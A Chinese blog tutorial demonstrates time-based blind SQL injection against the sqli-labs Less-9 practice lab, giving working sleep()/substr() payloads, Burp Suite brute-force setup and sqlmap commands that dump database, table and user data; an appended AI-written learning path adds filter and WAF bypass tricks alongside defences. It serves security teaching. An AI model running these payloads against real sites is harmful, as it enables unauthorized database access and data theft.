关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入

本文详细介绍了SQL时间注入攻击的原理,包括如何利用sleep()和substr()函数进行时间延迟,通过手动测试和burpsuite工具进行爆破,以及使用sqlmap进行自动化注入。展示了从获取敏感信息到数据库结构的逐步挖掘过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL时间注入是一种常见的SQL注入攻击方式,攻击者通过在SQL语句中注入时间相关的代码,来获取敏感信息或者执行非法操作。其基本原理如下:

  1. 攻击者向Web应用程序中输入一段恶意代码,通过SQL语句查询数据库,并注入时间相关的代码。

  2. 时间相关的代码可以包括sleep()函数、benchmark()函数等,这些函数会导致SQL语句执行时间的延迟或者变化。

  3. 攻击者可以根据SQL语句的执行时间,来推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。

  4. 通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,获取敏感信息或者执行非法操作。

首先我们介绍手动测试,以便大家熟悉原理。

payload主要基于三个函数:sleep()、substr()、if()

以sqllabs-less-9为靶场测试

由于这里无论输入什么都是回显一个内容,因此我们尝试时间盲注

简单使用sleep函数测试,找到闭合点是单引号

?id=1' and sleep(5)--+

可以观察到明显的延时现象后才出现回显内容

我们也可以通过查看请求耗时

6.09s,和我们设置的sleep 5s 差不多,说明sleep语句被执行了,存在时间盲注

那么我们接下来需要先判断当前数据库的长度,使用length函数

?id=1' and if(length(database())=8,sleep(10),0) --+

如果当前数据库的长度为8,则会延时10s 

依旧出现了明显的延时现象

基于这样的一个延时原理,接下来我们使用burpsuite进行爆破

假设我们不知道数据库长度是8,我们先爆破数据库长度

爆破payload:

?id=1' and if(length(database())=1,sleep(3),0) --+

为了爆破时间短一点,我们可以将sleep的时间设置短一点

(但是有时候这个sleep时间也会影响到判断的准确性)

设置爆破位置,选用攻击类型(狙击手,单个参数爆破)

设置爆破字典

如果直接看结果是看不出来的,因为都是回显正常

我们需要基于响应耗时来筛选

按照这个排序

可以看到,正常的响应大约是1s

长度为8时,耗时3999ms,大约4s,即加上了sleep延时的3s

判断出有效载荷为8是执行了sleep函数,因此数据库长度为8

接下来爆数据库名

这里还是需要使用 substr() 函数,该函数和我们在布尔盲注中讲的substring函数类似。

两者都是截取字符串,不同点在于第二个参数

substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);

substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。

若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。

爆破payload:

?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

同样选择攻击模式(集束炸弹,不明白的请参考我之前布尔盲注爆破的讲解)

以及设置爆破位置,这里需要爆破的参数有两个

第一个参数的字典显然是1到8(因为数据库长度为8)

第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)

同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload

再将其按照payload1从1到8的顺序排列

得到当前数据库名为:security

接下来我们爆破该数据库下的表名

(我们可以先爆破表名的长度再爆破具体内容,但是其实也可以直接爆破内容)

尽管长度我们不确定,但是我们的字典长度稍微设置大一点即可确保爆破出的内容完整。

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

设置攻击类型,爆破参数位置

设置字典

筛选攻击结果

整理得到第一张表名为:emails 

如果你不确定长度是否正确,可以将'6'带入语句进行验证,若出现延时则表明长度正确。

那么我们通过调整limit的参数即可获取到其他的表名,有时候也可以使用group_concat函数。

至于爆破列名以及具体字段内容也是一个道理,这里就不再过多演示,给出一些payload:

爆破security数据库下emails表下的列名

(可以设置三个参数,增设limit的爆破参数以获取所有列名,具体参考我布尔盲注那篇文章)

?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

爆破具体字段

?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='a',sleep(3),0)--+

或者用

?id=1' and if(substring((select group_concat(email_id)from security.emails),1,1)='a',sleep(3),0)--+

最后给出的payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。

那么最后我们再讲一下使用sqlmap实现全自动的时间盲注

先进行基本检测:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T

参数说明:

-u 指定检测的 url
-p 指定检测的参数
-v 显示调试模式
--technique=T 检测方法为时间注入

经sqlmap 检测为时间注入,通过这个注入我们可以获取相关数据库信息。

获取用户和数据库名:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch

参数说明:

--current-user 获取用户
--current-db 获取当前库
--batch 使用默认模式,自动 y

 时间比较久,但是准确性是相当可靠的。

这么说吧:一般sqlmap能跑出来的基本上都没啥问题,这种是不存在什么绕过和过滤的,一般存在过和过滤的,sqlmap基本上都跑不出来,需要手工注入。

得到时间盲注结果:

current user: 'root@localhost'

current database: 'security'

接下来我们获取表名

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch

参数说明:

-D 指定数据库
--tables 获取表

sqlmap注入结果:

获取security数据库下所有的表为

+----------+
| emails   |
| referers |
| uagents |
| users     |
+----------+

与本地对比,结果正确

接下来我们获取列名: 

这里以users表为例

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch

参数说明:

-T 指定表
--columns 获取列名(字段名)

我这里就不等了,最终你可以爆出所有的列。

最后我们获取字段具体内容:

为了节约时间,我这里只演示查id和username

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username" -T users -D security --batch

参数说明:

--dump 导出数据
-C 指定查询的字段

 由于结果有很多,这里我也不等了,各位可以自行验证。

 与本地对照,结果一致。

以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。

创作不易,期待大家的支持与关注!

<think>好的,我现在需要帮用户解答如何学习SQL注入的问题。首先,用户之前询问过CSS的padding属性,现在转向SQL注入,可能是在学习前端开发后,对网络安全产生了兴趣。用户可能是开发人员或学生,希望了解如何系统地学习SQL注入,可能的目标是提升自己的安全技能,或者准备进入渗透测试领域。 接下来,我需要考虑用户的需求。用户可能希望得到一个结构化的学习路径,包含基础知识、实践方法、工具使用以及防御措施。他们可能没有太多安全背景,所以需要从基础讲起,同时提供实际操作的机会,比如靶场练习。 需要确定回答的结构。通常,学习路径可以分为几个阶段:理解基础、学习注入原理、实践环境搭建、手动注入练习、工具使用、绕过技巧、分析漏洞、防御方法、法律意识和持续学习。每个阶段要详细说明,并推荐资源,比如书籍、在线课程、靶场和工具。 还要注意用户可能的深层需求,比如如何合法地练习,避免法律问题,所以需要强调使用授权平台,遵守法律。同时,用户可能希望了解如何将所学应用到实际工作中,比如在开发过程中预防SQL注入,因此防御措施部分也很重要。 需要检查是否有遗漏的重要点,比如不同类型的SQL注入(联合查询、布尔盲注、时间盲注等),以及现代ORM框架的使用是否减少注入风险。此外,提醒用户关注漏洞赏金平台和社区,保持学习的持续性。 最后,确保回答清晰易懂,步骤明确,提供具体例子和资源链接,帮助用户实际操作。避免使用过于专业的术语,或在必要时进行解释,确保适合不同层次的学习者。</think>以下是一份系统的 **SQL 注入学习路径**,从基础到实战逐步深入,帮助你掌握原理、攻击手法和防御方法: --- ### **一、学习前提** 1. **掌握基础知识**: - **SQL 语法**:熟悉 `SELECT`、`UNION`、`WHERE`、`JOIN` 等语句。 - **数据库结构**:了解表、字段、数据类型等概念(如 MySQL、PostgreSQL)。 - **Web 基础**:HTTP 协议、GET/POST 请求、Cookie、Session 工作原理。 --- ### **二、SQL 注入核心原理** 1. **核心漏洞**: - **原理**:攻击者通过构造恶意 SQL 语句,插入到应用程序的输入参数中,改变原始 SQL 逻辑。 - **关键点**:应用程序未对用户输入进行过滤或转义,直接拼接 SQL 语句。 2. **常见注入场景**: - 用户登录表单(如 `username`、`password` 字段)。 - URL 参数(如 `?id=1`)。 - HTTP 头部(如 `User-Agent`、`Cookie`)。 --- ### **三、实战学习步骤** #### **1. 搭建实验环境** - **本地环境**: - 使用 Docker 快速部署漏洞靶场(如 [DVWA](https://github.com/digininja/DVWA)、[SQLi Labs](https://github.com/Audi-1/sqli-labs))。 - 工具:安装 Burp Suite、SQLMap、浏览器开发者工具。 - **在线靶场**(无需本地配置): - PortSwigger Web Security Academy(免费实验) - Hack The Box(需注册) #### **2. 手动注入实践** - **步骤**: 1. **探测注入点**:在输入框或 URL 参数中添加 `'`、`"`、`#` 等符号,观察报错信息。 2. **判断数据库类型**:通过报错信息或函数差异(如 MySQL 的 `version()`,SQL Server 的 `@@version`)。 3. **联合查询注入(Union-Based)**: ```sql ' UNION SELECT 1,2,version()-- - ``` 4. **布尔盲注(Boolean-Based)**: ```sql ' AND 1=1 -- - (页面正常) ' AND 1=2 -- - (页面异常) ``` 5. **时间盲注(Time-Based)**: ```sql ' AND IF(1=1, SLEEP(5), 0)-- - (观察响应延迟) ``` #### **3. 使用工具自动化** - **SQLMap**: ```bash sqlmap -u "http://example.com/page?id=1" --dbs # 获取数据库sqlmap -u "http://example.com/page?id=1" -D dbname --tables # 获取表名 ``` - **Burp Suite**:拦截请求,修改参数进行手动测试,配合 Intruder 模块爆破数据。 #### **4. 学习绕过技巧** - **过滤绕过**: - 大小写混淆:`UnIoN SelEct` - 双写关键字:`UNIUNIONON` - 注释符:`/*!50000SELECT*/` - 编码绕过:Hex、URL 编码(如 `'` → `%27`) - **WAF 绕过**:分块传输、HTTP 参数污染(HPP)。 #### **5. 分析真实漏洞案例** - 研究公开的漏洞报告(如 CVE、HackerOne 披露案例)。 - 复现历史漏洞(如 WordPress 插件 SQLi 漏洞)。 --- ### **四、防御方法(开发者视角)** 1. **参数化查询(Prepared Statements)**: ```python # Python 示例(使用 SQLAlchemy) result = db.session.execute("SELECT * FROM users WHERE id = :id", {"id": user_id}) ``` 2. **输入过滤与白名单**: - 验证数据类型(如 `id` 必须为整数)。 - 过滤特殊字符(如 `'`、`"`、`;`)。 3. **最小化数据库权限**:禁止使用 `root` 或高权限账户连接数据库。 4. **错误处理**:避免将数据库错误信息直接返回给用户。 --- ### **五、学习资源** 1. **书籍**: - 《SQL注入攻击与防御(第2版)》 - 《Web安全攻防:渗透测试实战指南》 2. **在线课程**: - PortSwigger 的 SQL 注入实验室(免费) - Udemy 的 Ethical Hacking 课程 3. **社区与工具**: - SQLMap 官方文档 - OWASP SQL 注入防护指南([链接](https://owasp.org/www-community/attacks/SQL_Injection)) --- ### **六、注意事项** 1. **合法授权**:仅在授权的靶场或自己搭建的环境中进行测试。 2. **法律风险**:未经许可攻击他人系统属于违法行为。 3. **持续更新**:关注新型注入手法(如 NoSQL 注入、ORM 框架漏洞)。 --- 通过以上步骤,你将从原理到实战全面掌握 SQL 注入。建议先手动实践理解底层逻辑,再结合工具提高效率。最终目标是既能攻击也能防御,成为全面的安全研究者! 🛡️
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值